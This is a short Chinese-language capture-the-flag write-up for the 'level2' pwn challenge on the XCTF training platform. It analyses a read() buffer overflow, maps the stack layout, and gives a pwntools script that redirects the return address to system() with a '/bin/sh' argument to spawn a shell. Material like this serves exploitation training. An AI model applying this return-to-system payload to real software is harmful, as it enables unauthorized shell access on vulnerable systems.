攻防世界 - pwn - level2

A、程序分析

攻防世界 - pwn - level2_第1张图片

  1、使用了system()

  2、read() -> 缓冲区溢出

  3、

    程序包含/bin/sh命令

B、利用分析

  1、read(0,ebp-88h)  -->  payload

        ebp-88h ---  ebp-1h (88hbyte 填充数据)

        ebp ---  ebp+3h  (4byte 填充数据)

        ebp+4h ---- ebp+7h (4byte 返回地址,使用system函数地址替换)

        ebp+8h ---- ebp+Bh (4byte 填充数据)

        ebp+Ch ---- ebp+Fh (4byte 命令地址)

                           //ret时 esp指向 ebp+4h, ret后esp指向ebp+8h ,

                          我选用了jmp system,所以堆栈不会改变,esp指向ebp+8h == 返回地址,ebp+0ch为参数,

                          如果使用call system,esp-4 = ebp+4h == 返回地址, 则ebp+8h为参数地址,

C、exp

#!/usr/bin/python3
from pwn import *

#r = remote('exploitme.example.com', 31337)
r = process('./level2')


payload = (35* p32(0x00000000) )+p32(0x08048320)+ p32(0x00000000) +p32(0x0804A024)


print(payload)
r.recvuntil('Input:')
r.sendline(payload) 
r.interactive()
 

 

 

你可能感兴趣的:(攻防世界 - pwn - level2)